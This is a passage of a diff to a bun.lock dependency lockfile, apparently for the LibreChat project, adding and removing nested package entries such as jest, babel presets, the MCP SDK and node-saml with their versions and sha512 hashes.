"@headlessui/react/@tanstack/react-virtual": ["@tanstack/react-virtual@3.13.12", "", { "dependencies": { "@tanstack/virtual-core": "3.13.12" }, "peerDependencies": { "react": "^16.8.0 || ^17.0.0 || ^18.0.0 || ^19.0.0", "react-dom": "^16.8.0 || ^17.0.0 || ^18.0.0 || ^19.0.0" } }, "sha512-Gd13QdxPSukP8ZrkbgS2RwoZseTTbQPLnQEn7HY/rqtM+8Zt95f7xKC7N0EsKs7aoz0WzZ+fditZux+F8EzYxA=="],
"@humanfs/node/@humanwhocodes/retry": ["@humanwhocodes/retry@0.3.1", "", {}, "sha512-JBxkERygn7Bv/GbN5Rv8Ul6LVknS+5Bp6RgDC/O8gEBU/yeH5Ui5C/OlWrTb6qct7LjjfT6Re2NxB0ln0yYybA=="],
@@ -5373,40 +5549,18 @@
"@istanbuljs/load-nyc-config/resolve-from": ["resolve-from@5.0.0", "", {}, "sha512-qYg9KP24dD5qka9J47d0aVky0N+b4fTU89LN9iDnjB5waksiC49rvMB0PrUJQGoTmH50XPiqOvAjDfaijGxYZw=="],
- "@jest/console/jest-util": ["jest-util@30.2.0", "", { "dependencies": { "@jest/types": "30.2.0", "@types/node": "*", "chalk": "^4.1.2", "ci-info": "^4.2.0", "graceful-fs": "^4.2.11", "picomatch": "^4.0.2" } }, "sha512-QKNsM0o3Xe6ISQU869e+DhG+4CK/48aHYdJZGlFQVTjnbvgpcKyxpzk29fGiO7i/J8VENZ+d2iGnSsvmuHywlA=="],
-
"@jest/console/slash": ["slash@3.0.0", "", {}, "sha512-g9Q1haeby36OSStwb4ntCGGGaKsaVSjQ68fBxoQcutl5fS1vuY18H3wSt3jFyFtrkx+Kz0V1G85A4MyAdDMi2Q=="],
- "@jest/core/jest-util": ["jest-util@30.2.0", "", { "dependencies": { "@jest/types": "30.2.0", "@types/node": "*", "chalk": "^4.1.2", "ci-info": "^4.2.0", "graceful-fs": "^4.2.11", "picomatch": "^4.0.2" } }, "sha512-QKNsM0o3Xe6ISQU869e+DhG+4CK/48aHYdJZGlFQVTjnbvgpcKyxpzk29fGiO7i/J8VENZ+d2iGnSsvmuHywlA=="],
-
"@jest/core/pretty-format": ["pretty-format@30.2.0", "", { "dependencies": { "@jest/schemas": "30.0.5", "ansi-styles": "^5.2.0", "react-is": "^18.3.1" } }, "sha512-9uBdv/B4EefsuAL+pWqueZyZS2Ba+LxfFeQ9DN14HU4bN8bhaxKdkpjpB6fs9+pSjIBu+FXQHImEg8j/Lw0+vA=="],
"@jest/core/slash": ["slash@3.0.0", "", {}, "sha512-g9Q1haeby36OSStwb4ntCGGGaKsaVSjQ68fBxoQcutl5fS1vuY18H3wSt3jFyFtrkx+Kz0V1G85A4MyAdDMi2Q=="],
- "@jest/environment/@jest/fake-timers": ["@jest/fake-timers@30.2.0", "", { "dependencies": { "@jest/types": "30.2.0", "@sinonjs/fake-timers": "^13.0.0", "@types/node": "*", "jest-message-util": "30.2.0", "jest-mock": "30.2.0", "jest-util": "30.2.0" } }, "sha512-HI3tRLjRxAbBy0VO8dqqm7Hb2mIa8d5bg/NJkyQcOk7V118ObQML8RC5luTF/Zsg4474a+gDvhce7eTnP4GhYw=="],
-
- "@jest/environment/jest-mock": ["jest-mock@30.2.0", "", { "dependencies": { "@jest/types": "30.2.0", "@types/node": "*", "jest-util": "30.2.0" } }, "sha512-JNNNl2rj4b5ICpmAcq+WbLH83XswjPbjH4T7yvGzfAGCPh1rw+xVNbtk+FnRslvt9lkCcdn9i1oAoKUuFsOxRw=="],
-
- "@jest/environment-jsdom-abstract/@jest/fake-timers": ["@jest/fake-timers@30.2.0", "", { "dependencies": { "@jest/types": "30.2.0", "@sinonjs/fake-timers": "^13.0.0", "@types/node": "*", "jest-message-util": "30.2.0", "jest-mock": "30.2.0", "jest-util": "30.2.0" } }, "sha512-HI3tRLjRxAbBy0VO8dqqm7Hb2mIa8d5bg/NJkyQcOk7V118ObQML8RC5luTF/Zsg4474a+gDvhce7eTnP4GhYw=="],
-
- "@jest/environment-jsdom-abstract/jest-mock": ["jest-mock@30.2.0", "", { "dependencies": { "@jest/types": "30.2.0", "@types/node": "*", "jest-util": "30.2.0" } }, "sha512-JNNNl2rj4b5ICpmAcq+WbLH83XswjPbjH4T7yvGzfAGCPh1rw+xVNbtk+FnRslvt9lkCcdn9i1oAoKUuFsOxRw=="],
-
- "@jest/environment-jsdom-abstract/jest-util": ["jest-util@30.2.0", "", { "dependencies": { "@jest/types": "30.2.0", "@types/node": "*", "chalk": "^4.1.2", "ci-info": "^4.2.0", "graceful-fs": "^4.2.11", "picomatch": "^4.0.2" } }, "sha512-QKNsM0o3Xe6ISQU869e+DhG+4CK/48aHYdJZGlFQVTjnbvgpcKyxpzk29fGiO7i/J8VENZ+d2iGnSsvmuHywlA=="],
-
"@jest/expect/expect": ["expect@30.2.0", "", { "dependencies": { "@jest/expect-utils": "30.2.0", "@jest/get-type": "30.1.0", "jest-matcher-utils": "30.2.0", "jest-message-util": "30.2.0", "jest-mock": "30.2.0", "jest-util": "30.2.0" } }, "sha512-u/feCi0GPsI+988gU2FLcsHyAHTU0MX1Wg68NhAnN7z/+C5wqG+CY8J53N9ioe8RXgaoz0nBR/TYMf3AycUuPw=="],
- "@jest/fake-timers/@jest/types": ["@jest/types@29.6.3", "", { "dependencies": { "@jest/schemas": "^29.6.3", "@types/istanbul-lib-coverage": "^2.0.0", "@types/istanbul-reports": "^3.0.0", "@types/node": "*", "@types/yargs": "^17.0.8", "chalk": "^4.0.0" } }, "sha512-u3UPsIilWKOM3F9CXtrG8LEJmNxwoCQC/XVj4IKYXvvpx7QIi/Kg1LI5uDmDpKlac62NUtX7eLjRh+jVZcLOzw=="],
-
- "@jest/fake-timers/jest-message-util": ["jest-message-util@29.7.0", "", { "dependencies": { "@babel/code-frame": "^7.12.13", "@jest/types": "^29.6.3", "@types/stack-utils": "^2.0.0", "chalk": "^4.0.0", "graceful-fs": "^4.2.9", "micromatch": "^4.0.4", "pretty-format": "^29.7.0", "slash": "^3.0.0", "stack-utils": "^2.0.3" } }, "sha512-GBEV4GRADeP+qtB2+6u61stea8mGcOT4mCtrYISZwfu9/ISHFJ/5zOMXYbpBE9RsS5+Gb63DW4FgmnKJ79Kf6w=="],
-
- "@jest/globals/jest-mock": ["jest-mock@30.2.0", "", { "dependencies": { "@jest/types": "30.2.0", "@types/node": "*", "jest-util": "30.2.0" } }, "sha512-JNNNl2rj4b5ICpmAcq+WbLH83XswjPbjH4T7yvGzfAGCPh1rw+xVNbtk+FnRslvt9lkCcdn9i1oAoKUuFsOxRw=="],
-
"@jest/reporters/@jridgewell/trace-mapping": ["@jridgewell/trace-mapping@0.3.31", "", { "dependencies": { "@jridgewell/resolve-uri": "^3.1.0", "@jridgewell/sourcemap-codec": "^1.4.14" } }, "sha512-zzNR+SdQSDJzc8joaeP8QQoCQr8NuYx2dIIytl1QeBEZHJ9uW6hebsrYgbz8hJwUQao3TWCMtmfV8Nu1twOLAw=="],
"@jest/reporters/glob": ["glob@10.5.0", "", { "dependencies": { "foreground-child": "^3.1.0", "jackspeak": "^3.1.2", "minimatch": "^9.0.4", "minipass": "^7.1.2", "package-json-from-dist": "^1.0.0", "path-scurry": "^1.11.1" }, "bin": "dist/esm/bin.mjs" }, "sha512-DfXN8DfhJ7NH3Oe7cFmu3NCu1wKbkReJ8TorzSAFbSKrlNaQSKfIzqYqVY8zlbs2NLBbWpRiU52GX2PbaBVNkg=="],
- "@jest/reporters/jest-util": ["jest-util@30.2.0", "", { "dependencies": { "@jest/types": "30.2.0", "@types/node": "*", "chalk": "^4.1.2", "ci-info": "^4.2.0", "graceful-fs": "^4.2.11", "picomatch": "^4.0.2" } }, "sha512-QKNsM0o3Xe6ISQU869e+DhG+4CK/48aHYdJZGlFQVTjnbvgpcKyxpzk29fGiO7i/J8VENZ+d2iGnSsvmuHywlA=="],
-
"@jest/reporters/slash": ["slash@3.0.0", "", {}, "sha512-g9Q1haeby36OSStwb4ntCGGGaKsaVSjQ68fBxoQcutl5fS1vuY18H3wSt3jFyFtrkx+Kz0V1G85A4MyAdDMi2Q=="],
"@jest/source-map/@jridgewell/trace-mapping": ["@jridgewell/trace-mapping@0.3.31", "", { "dependencies": { "@jridgewell/resolve-uri": "^3.1.0", "@jridgewell/sourcemap-codec": "^1.4.14" } }, "sha512-zzNR+SdQSDJzc8joaeP8QQoCQr8NuYx2dIIytl1QeBEZHJ9uW6hebsrYgbz8hJwUQao3TWCMtmfV8Nu1twOLAw=="],
@@ -5415,8 +5569,6 @@
"@jest/transform/@jridgewell/trace-mapping": ["@jridgewell/trace-mapping@0.3.31", "", { "dependencies": { "@jridgewell/resolve-uri": "^3.1.0", "@jridgewell/sourcemap-codec": "^1.4.14" } }, "sha512-zzNR+SdQSDJzc8joaeP8QQoCQr8NuYx2dIIytl1QeBEZHJ9uW6hebsrYgbz8hJwUQao3TWCMtmfV8Nu1twOLAw=="],
- "@jest/transform/jest-util": ["jest-util@30.2.0", "", { "dependencies": { "@jest/types": "30.2.0", "@types/node": "*", "chalk": "^4.1.2", "ci-info": "^4.2.0", "graceful-fs": "^4.2.11", "picomatch": "^4.0.2" } }, "sha512-QKNsM0o3Xe6ISQU869e+DhG+4CK/48aHYdJZGlFQVTjnbvgpcKyxpzk29fGiO7i/J8VENZ+d2iGnSsvmuHywlA=="],
-
"@jest/transform/slash": ["slash@3.0.0", "", {}, "sha512-g9Q1haeby36OSStwb4ntCGGGaKsaVSjQ68fBxoQcutl5fS1vuY18H3wSt3jFyFtrkx+Kz0V1G85A4MyAdDMi2Q=="],
"@jridgewell/gen-mapping/@jridgewell/trace-mapping": ["@jridgewell/trace-mapping@0.3.31", "", { "dependencies": { "@jridgewell/resolve-uri": "^3.1.0", "@jridgewell/sourcemap-codec": "^1.4.14" } }, "sha512-zzNR+SdQSDJzc8joaeP8QQoCQr8NuYx2dIIytl1QeBEZHJ9uW6hebsrYgbz8hJwUQao3TWCMtmfV8Nu1twOLAw=="],
@@ -5445,49 +5597,91 @@
"@langchain/mistralai/uuid": ["uuid@10.0.0", "", { "bin": "dist/bin/uuid" }, "sha512-8XkAphELsDnEGrDxUOHB3RGvXz6TeuYSGEZBOjtTtPm2lwhGBjLgOzLHB63IUWfBpNucQjND6d3AOudO+H3RWQ=="],
- "@librechat/client/@babel/preset-env": ["@babel/preset-env@7.28.5", "", { "dependencies": { "@babel/compat-data": "^7.28.5", "@babel/helper-compilation-targets": "^7.27.2", "@babel/helper-plugin-utils": "^7.27.1", "@babel/helper-validator-option": "^7.27.1", "@babel/plugin-bugfix-firefox-class-in-computed-class-key": "^7.28.5", "@babel/plugin-bugfix-safari-class-field-initializer-scope": "^7.27.1", "@babel/plugin-bugfix-safari-id-destructuring-collision-in-function-expression": "^7.27.1", "@babel/plugin-bugfix-v8-spread-parameters-in-optional-chaining": "^7.27.1", "@babel/plugin-bugfix-v8-static-class-fields-redefine-readonly": "^7.28.3", "@babel/plugin-proposal-private-property-in-object": "7.21.0-placeholder-for-preset-env.2", "@babel/plugin-syntax-import-assertions": "^7.27.1", "@babel/plugin-syntax-import-attributes": "^7.27.1", "@babel/plugin-syntax-unicode-sets-regex": "^7.18.6", "@babel/plugin-transform-arrow-functions": "^7.27.1", "@babel/plugin-transform-async-generator-functions": "^7.28.0", "@babel/plugin-transform-async-to-generator": "^7.27.1", "@babel/plugin-transform-block-scoped-functions": "^7.27.1", "@babel/plugin-transform-block-scoping": "^7.28.5", "@babel/plugin-transform-class-properties": "^7.27.1", "@babel/plugin-transform-class-static-block": "^7.28.3", "@babel/plugin-transform-classes": "^7.28.4", "@babel/plugin-transform-computed-properties": "^7.27.1", "@babel/plugin-transform-destructuring": "^7.28.5", "@babel/plugin-transform-dotall-regex": "^7.27.1", "@babel/plugin-transform-duplicate-keys": "^7.27.1", "@babel/plugin-transform-duplicate-named-capturing-groups-regex": "^7.27.1", "@babel/plugin-transform-dynamic-import": "^7.27.1", "@babel/plugin-transform-explicit-resource-management": "^7.28.0", "@babel/plugin-transform-exponentiation-operator": "^7.28.5", "@babel/plugin-transform-export-namespace-from": "^7.27.1", "@babel/plugin-transform-for-of": "^7.27.1", "@babel/plugin-transform-function-name": "^7.27.1", "@babel/plugin-transform-json-strings": "^7.27.1", "@babel/plugin-transform-literals": "^7.27.1", "@babel/plugin-transform-logical-assignment-operators": "^7.28.5", "@babel/plugin-transform-member-expression-literals": "^7.27.1", "@babel/plugin-transform-modules-amd": "^7.27.1", "@babel/plugin-transform-modules-commonjs": "^7.27.1", "@babel/plugin-transform-modules-systemjs": "^7.28.5", "@babel/plugin-transform-modules-umd": "^7.27.1", "@babel/plugin-transform-named-capturing-groups-regex": "^7.27.1", "@babel/plugin-transform-new-target": "^7.27.1", "@babel/plugin-transform-nullish-coalescing-operator": "^7.27.1", "@babel/plugin-transform-numeric-separator": "^7.27.1", "@babel/plugin-transform-object-rest-spread": "^7.28.4", "@babel/plugin-transform-object-super": "^7.27.1", "@babel/plugin-transform-optional-catch-binding": "^7.27.1", "@babel/plugin-transform-optional-chaining": "^7.28.5", "@babel/plugin-transform-parameters": "^7.27.7", "@babel/plugin-transform-private-methods": "^7.27.1", "@babel/plugin-transform-private-property-in-object": "^7.27.1", "@babel/plugin-transform-property-literals": "^7.27.1", "@babel/plugin-transform-regenerator": "^7.28.4", "@babel/plugin-transform-regexp-modifiers": "^7.27.1", "@babel/plugin-transform-reserved-words": "^7.27.1", "@babel/plugin-transform-shorthand-properties": "^7.27.1", "@babel/plugin-transform-spread": "^7.27.1", "@babel/plugin-transform-sticky-regex": "^7.27.1", "@babel/plugin-transform-template-literals": "^7.27.1", "@babel/plugin-transform-typeof-symbol": "^7.27.1", "@babel/plugin-transform-unicode-escapes": "^7.27.1", "@babel/plugin-transform-unicode-property-regex": "^7.27.1", "@babel/plugin-transform-unicode-regex": "^7.27.1", "@babel/plugin-transform-unicode-sets-regex": "^7.27.1", "@babel/preset-modules": "0.1.6-no-external-plugins", "babel-plugin-polyfill-corejs2": "^0.4.14", "babel-plugin-polyfill-corejs3": "^0.13.0", "babel-plugin-polyfill-regenerator": "^0.6.5", "core-js-compat": "^3.43.0", "semver": "^6.3.1" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-S36mOoi1Sb6Fz98fBfE+UZSpYw5mJm0NUHtIKrOuNcqeFauy1J6dIvXm2KRVKobOSaGq4t/hBXdN4HGU3wL9Wg=="],
+ "@librechat/agents/nanoid": ["nanoid@3.3.11", "", { "bin": { "nanoid": "bin/nanoid.cjs" } }, "sha512-N8SpfPUnUp1bK+PMYW8qSWdl9U+wwNWI4QKxOYDy9JAro3WMX7p2OeVRF9v+347pnakNevPmiHhNmZ2HbFA76w=="],
- "@librechat/client/@babel/preset-react": ["@babel/preset-react@7.28.5", "", { "dependencies": { "@babel/helper-plugin-utils": "^7.27.1", "@babel/helper-validator-option": "^7.27.1", "@babel/plugin-transform-react-display-name": "^7.28.0", "@babel/plugin-transform-react-jsx": "^7.27.1", "@babel/plugin-transform-react-jsx-development": "^7.27.1", "@babel/plugin-transform-react-pure-annotations": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-Z3J8vhRq7CeLjdC58jLv4lnZ5RKFUJWqH5emvxmv9Hv3BD1T9R/Im713R4MTKwvFaV74ejZ3sM01LyEKk4ugNQ=="],
-
- "@librechat/client/@babel/preset-typescript": ["@babel/preset-typescript@7.28.5", "", { "dependencies": { "@babel/helper-plugin-utils": "^7.27.1", "@babel/helper-validator-option": "^7.27.1", "@babel/plugin-syntax-jsx": "^7.27.1", "@babel/plugin-transform-modules-commonjs": "^7.27.1", "@babel/plugin-transform-typescript": "^7.28.5" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-+bQy5WOI2V6LJZpPVxY+yp66XdZ2yifu0Mc1aP5CQKgjn4QM5IN2i5fAZ4xKop47pr8rpVhiAeu+nDQa12C8+g=="],
-
- "@librechat/frontend/@babel/preset-env": ["@babel/preset-env@7.28.5", "", { "dependencies": { "@babel/compat-data": "^7.28.5", "@babel/helper-compilation-targets": "^7.27.2", "@babel/helper-plugin-utils": "^7.27.1", "@babel/helper-validator-option": "^7.27.1", "@babel/plugin-bugfix-firefox-class-in-computed-class-key": "^7.28.5", "@babel/plugin-bugfix-safari-class-field-initializer-scope": "^7.27.1", "@babel/plugin-bugfix-safari-id-destructuring-collision-in-function-expression": "^7.27.1", "@babel/plugin-bugfix-v8-spread-parameters-in-optional-chaining": "^7.27.1", "@babel/plugin-bugfix-v8-static-class-fields-redefine-readonly": "^7.28.3", "@babel/plugin-proposal-private-property-in-object": "7.21.0-placeholder-for-preset-env.2", "@babel/plugin-syntax-import-assertions": "^7.27.1", "@babel/plugin-syntax-import-attributes": "^7.27.1", "@babel/plugin-syntax-unicode-sets-regex": "^7.18.6", "@babel/plugin-transform-arrow-functions": "^7.27.1", "@babel/plugin-transform-async-generator-functions": "^7.28.0", "@babel/plugin-transform-async-to-generator": "^7.27.1", "@babel/plugin-transform-block-scoped-functions": "^7.27.1", "@babel/plugin-transform-block-scoping": "^7.28.5", "@babel/plugin-transform-class-properties": "^7.27.1", "@babel/plugin-transform-class-static-block": "^7.28.3", "@babel/plugin-transform-classes": "^7.28.4", "@babel/plugin-transform-computed-properties": "^7.27.1", "@babel/plugin-transform-destructuring": "^7.28.5", "@babel/plugin-transform-dotall-regex": "^7.27.1", "@babel/plugin-transform-duplicate-keys": "^7.27.1", "@babel/plugin-transform-duplicate-named-capturing-groups-regex": "^7.27.1", "@babel/plugin-transform-dynamic-import": "^7.27.1", "@babel/plugin-transform-explicit-resource-management": "^7.28.0", "@babel/plugin-transform-exponentiation-operator": "^7.28.5", "@babel/plugin-transform-export-namespace-from": "^7.27.1", "@babel/plugin-transform-for-of": "^7.27.1", "@babel/plugin-transform-function-name": "^7.27.1", "@babel/plugin-transform-json-strings": "^7.27.1", "@babel/plugin-transform-literals": "^7.27.1", "@babel/plugin-transform-logical-assignment-operators": "^7.28.5", "@babel/plugin-transform-member-expression-literals": "^7.27.1", "@babel/plugin-transform-modules-amd": "^7.27.1", "@babel/plugin-transform-modules-commonjs": "^7.27.1", "@babel/plugin-transform-modules-systemjs": "^7.28.5", "@babel/plugin-transform-modules-umd": "^7.27.1", "@babel/plugin-transform-named-capturing-groups-regex": "^7.27.1", "@babel/plugin-transform-new-target": "^7.27.1", "@babel/plugin-transform-nullish-coalescing-operator": "^7.27.1", "@babel/plugin-transform-numeric-separator": "^7.27.1", "@babel/plugin-transform-object-rest-spread": "^7.28.4", "@babel/plugin-transform-object-super": "^7.27.1", "@babel/plugin-transform-optional-catch-binding": "^7.27.1", "@babel/plugin-transform-optional-chaining": "^7.28.5", "@babel/plugin-transform-parameters": "^7.27.7", "@babel/plugin-transform-private-methods": "^7.27.1", "@babel/plugin-transform-private-property-in-object": "^7.27.1", "@babel/plugin-transform-property-literals": "^7.27.1", "@babel/plugin-transform-regenerator": "^7.28.4", "@babel/plugin-transform-regexp-modifiers": "^7.27.1", "@babel/plugin-transform-reserved-words": "^7.27.1", "@babel/plugin-transform-shorthand-properties": "^7.27.1", "@babel/plugin-transform-spread": "^7.27.1", "@babel/plugin-transform-sticky-regex": "^7.27.1", "@babel/plugin-transform-template-literals": "^7.27.1", "@babel/plugin-transform-typeof-symbol": "^7.27.1", "@babel/plugin-transform-unicode-escapes": "^7.27.1", "@babel/plugin-transform-unicode-property-regex": "^7.27.1", "@babel/plugin-transform-unicode-regex": "^7.27.1", "@babel/plugin-transform-unicode-sets-regex": "^7.27.1", "@babel/preset-modules": "0.1.6-no-external-plugins", "babel-plugin-polyfill-corejs2": "^0.4.14", "babel-plugin-polyfill-corejs3": "^0.13.0", "babel-plugin-polyfill-regenerator": "^0.6.5", "core-js-compat": "^3.43.0", "semver": "^6.3.1" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-S36mOoi1Sb6Fz98fBfE+UZSpYw5mJm0NUHtIKrOuNcqeFauy1J6dIvXm2KRVKobOSaGq4t/hBXdN4HGU3wL9Wg=="],
-
- "@librechat/frontend/@babel/preset-react": ["@babel/preset-react@7.28.5", "", { "dependencies": { "@babel/helper-plugin-utils": "^7.27.1", "@babel/helper-validator-option": "^7.27.1", "@babel/plugin-transform-react-display-name": "^7.28.0", "@babel/plugin-transform-react-jsx": "^7.27.1", "@babel/plugin-transform-react-jsx-development": "^7.27.1", "@babel/plugin-transform-react-pure-annotations": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-Z3J8vhRq7CeLjdC58jLv4lnZ5RKFUJWqH5emvxmv9Hv3BD1T9R/Im713R4MTKwvFaV74ejZ3sM01LyEKk4ugNQ=="],
-
- "@librechat/frontend/@babel/preset-typescript": ["@babel/preset-typescript@7.28.5", "", { "dependencies": { "@babel/helper-plugin-utils": "^7.27.1", "@babel/helper-validator-option": "^7.27.1", "@babel/plugin-syntax-jsx": "^7.27.1", "@babel/plugin-transform-modules-commonjs": "^7.27.1", "@babel/plugin-transform-typescript": "^7.28.5" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-+bQy5WOI2V6LJZpPVxY+yp66XdZ2yifu0Mc1aP5CQKgjn4QM5IN2i5fAZ4xKop47pr8rpVhiAeu+nDQa12C8+g=="],
+ "@librechat/backend/@smithy/node-http-handler": ["@smithy/node-http-handler@4.4.6", "", { "dependencies": { "@smithy/abort-controller": "^4.2.6", "@smithy/protocol-http": "^5.3.6", "@smithy/querystring-builder": "^4.2.6", "@smithy/types": "^4.10.0", "tslib": "^2.6.2" } }, "sha512-Gsb9jf4ido5BhPfani4ggyrKDd3ZK+vTFWmUaZeFg5G3E5nhFmqiTzAIbHqmPs1sARuJawDiGMGR/nY+Gw6+aQ=="],
"@librechat/frontend/@react-spring/web": ["@react-spring/web@9.7.5", "", { "dependencies": { "@react-spring/animated": "~9.7.5", "@react-spring/core": "~9.7.5", "@react-spring/shared": "~9.7.5", "@react-spring/types": "~9.7.5" }, "peerDependencies": { "react": "^16.8.0 || ^17.0.0 || ^18.0.0", "react-dom": "^16.8.0 || ^17.0.0 || ^18.0.0" } }, "sha512-lmvqGwpe+CSttsWNZVr+Dg62adtKhauGwLyGE/RRyZ8AAMLgb9x3NDMA5RMElXo+IMyTkPp7nxTB8ZQlmhb6JQ=="],
"@librechat/frontend/@testing-library/jest-dom": ["@testing-library/jest-dom@5.17.0", "", { "dependencies": { "@adobe/css-tools": "^4.0.1", "@babel/runtime": "^7.9.2", "@types/testing-library__jest-dom": "^5.9.1", "aria-query": "^5.0.0", "chalk": "^3.0.0", "css.escape": "^1.5.1", "dom-accessibility-api": "^0.5.6", "lodash": "^4.17.15", "redent": "^3.0.0" } }, "sha512-ynmNeT7asXyH3aSVv4vvX4Rb+0qjOhdNHnO/3vuZNqPmhDpV/+rCSGwQ7bLcmU2cJ4dvoheIO85LQj0IbJHEtg=="],
- "@librechat/frontend/framer-motion": ["framer-motion@11.18.2", "", { "dependencies": { "motion-dom": "^11.18.1", "motion-utils": "^11.18.1", "tslib": "^2.4.0" }, "peerDependencies": { "@emotion/is-prop-valid": "*", "react": "^18.0.0 || ^19.0.0", "react-dom": "^18.0.0 || ^19.0.0" }, "optionalPeers": ["@emotion/is-prop-valid"] }, "sha512-5F5Och7wrvtLVElIpclDT0CBzMVg3dL22B64aZwHtsIY8RB4mXICLrkajK4G9R+ieSAGcgrLeae2SeUTg2pr6w=="],
+ "@librechat/frontend/@types/node": ["@types/node@20.19.37", "", { "dependencies": { "undici-types": "~6.21.0" } }, "sha512-8kzdPJ3FsNsVIurqBs7oodNnCEVbni9yUEkaHbgptDACOPW04jimGagZ51E6+lXUwJjgnBw+hyko/lkFWCldqw=="],
- "@librechat/frontend/jest-environment-jsdom": ["jest-environment-jsdom@29.7.0", "", { "dependencies": { "@jest/environment": "^29.7.0", "@jest/fake-timers": "^29.7.0", "@jest/types": "^29.6.3", "@types/jsdom": "^20.0.0", "@types/node": "*", "jest-mock": "^29.7.0", "jest-util": "^29.7.0", "jsdom": "^20.0.0" }, "peerDependencies": { "canvas": "^2.5.0" }, "optionalPeers": ["canvas"] }, "sha512-k9iQbsf9OyOfdzWH8HDmrRT0gSIcX+FLNW7IQq94tFX0gynPwqDTW0Ho6iMVNjGz/nb+l/vW3dWM2bbLLpkbXA=="],
+ "@librechat/frontend/dompurify": ["dompurify@3.3.0", "", { "optionalDependencies": { "@types/trusted-types": "^2.0.7" } }, "sha512-r+f6MYR1gGN1eJv0TVQbhA7if/U7P87cdPl3HN5rikqaBSBxLiCb/b9O+2eG0cxz0ghyU+mU1QkbsOwERMYlWQ=="],
+
+ "@librechat/frontend/framer-motion": ["framer-motion@11.18.2", "", { "dependencies": { "motion-dom": "^11.18.1", "motion-utils": "^11.18.1", "tslib": "^2.4.0" }, "peerDependencies": { "@emotion/is-prop-valid": "*", "react": "^18.0.0 || ^19.0.0", "react-dom": "^18.0.0 || ^19.0.0" }, "optionalPeers": ["@emotion/is-prop-valid"] }, "sha512-5F5Och7wrvtLVElIpclDT0CBzMVg3dL22B64aZwHtsIY8RB4mXICLrkajK4G9R+ieSAGcgrLeae2SeUTg2pr6w=="],
"@librechat/frontend/lucide-react": ["lucide-react@0.394.0", "", { "peerDependencies": { "react": "^16.5.1 || ^17.0.0 || ^18.0.0" } }, "sha512-PzTbJ0bsyXRhH59k5qe7MpTd5MxlpYZUcM9kGSwvPGAfnn0J6FElDwu2EX6Vuh//F7y60rcVJiFQ7EK9DCMgfw=="],
"@mcp-ui/client/@modelcontextprotocol/sdk": ["@modelcontextprotocol/sdk@1.21.0", "", { "dependencies": { "ajv": "^8.17.1", "ajv-formats": "^3.0.1", "content-type": "^1.0.5", "cors": "^2.8.5", "cross-spawn": "^7.0.5", "eventsource": "^3.0.2", "eventsource-parser": "^3.0.0", "express": "^5.0.1", "express-rate-limit": "^7.5.0", "pkce-challenge": "^5.0.0", "raw-body": "^3.0.0", "zod": "^3.23.8", "zod-to-json-schema": "^3.24.1" }, "peerDependencies": { "@cfworker/json-schema": "^4.1.1" } }, "sha512-YFBsXJMFCyI1zP98u7gezMFKX4lgu/XpoZJk7ufI6UlFKXLj2hAMUuRlQX/nrmIPOmhRrG6tw2OQ2ZA/ZlXYpQ=="],
+ "@mistralai/mistralai/zod-to-json-schema": ["zod-to-json-schema@3.24.3", "", { "peerDependencies": { "zod": "^3.24.1" } }, "sha512-HIAfWdYIt1sssHfYZFCXp4rU1w2r8hVVXYIlmoa0r0gABLs5di3RCqPU5DDROogVz1pAdYBaz7HK5n9pSUNs3A=="],
+
"@modelcontextprotocol/sdk/ajv": ["ajv@8.17.1", "", { "dependencies": { "fast-deep-equal": "^3.1.3", "fast-uri": "^3.0.1", "json-schema-traverse": "^1.0.0", "require-from-string": "^2.0.2" } }, "sha512-B/gBuNg5SiMTrPkC+A2+cW0RszwxYmn6VYxB/inlBStS5nx6xHIt/ehKRhIMhqusl7a8LjQoZnjCs5vhwxOQ1g=="],
- "@modelcontextprotocol/sdk/express-rate-limit": ["express-rate-limit@7.5.0", "", { "peerDependencies": { "express": "^4.11 || 5 || ^5.0.0-beta.1" } }, "sha512-eB5zbQh5h+VenMPM3fh+nw1YExi5nMr6HUCR62ELSP11huvxm/Uir1H1QEyTkk5QX6A58pX6NmaTMceKZ0Eodg=="],
-
- "@modelcontextprotocol/sdk/zod-to-json-schema": ["zod-to-json-schema@3.25.0", "", { "peerDependencies": { "zod": "^3.25 || ^4" } }, "sha512-HvWtU2UG41LALjajJrML6uQejQhNJx+JBO9IflpSja4R03iNWfKXrj6W2h7ljuLyc1nKS+9yDyL/9tD1U/yBnQ=="],
-
"@node-saml/node-saml/@types/qs": ["@types/qs@6.14.0", "", {}, "sha512-eOunJqu0K1923aExK6y8p6fsihYEn/BYuQ4g0CxAAgFc4b/ZLN4CrsRZ55srTdqoiLzU2B2evC+apEIxprEzkQ=="],
+ "@node-saml/node-saml/debug": ["debug@4.4.0", "", { "dependencies": { "ms": "^2.1.3" } }, "sha512-6WTZ/IxCY/T6BALoZHaE4ctp9xm+Z5kY/pzYaCHRFeyVhojxlrm+46y68HA6hr0TcwEssoxNiDEUJQjfPZ/RYA=="],
+
+ "@node-saml/node-saml/xmlbuilder": ["xmlbuilder@15.1.1", "", {}, "sha512-yMqGBqtXyeN1e3TGYvgNgDVZ3j84W4cwkOXQswghol6APgZWaff9lnbvN7MHYJOiXsvGPXtjTYJEiC9J2wv9Eg=="],
+
"@node-saml/passport-saml/@types/express": ["@types/express@4.17.23", "", { "dependencies": { "@types/body-parser": "*", "@types/express-serve-static-core": "^4.17.33", "@types/qs": "*", "@types/serve-static": "*" } }, "sha512-Crp6WY9aTYP3qPi2wGDo9iUe/rceX01UMhnF1jmwDcKCFM6cx7YhGP/Mpr3y9AASpfHixIG0E6azCcL5OcDHsQ=="],
"@node-saml/passport-saml/passport": ["passport@0.7.0", "", { "dependencies": { "passport-strategy": "1.x.x", "pause": "0.0.1", "utils-merge": "^1.0.1" } }, "sha512-cPLl+qZpSc+ireUvt+IzqbED1cHHkDoVYMo30jbJIdOOjQ1MQYZBPiNvmi8UM6lJuOpTPXJGZQk0DtC4y61MYQ=="],
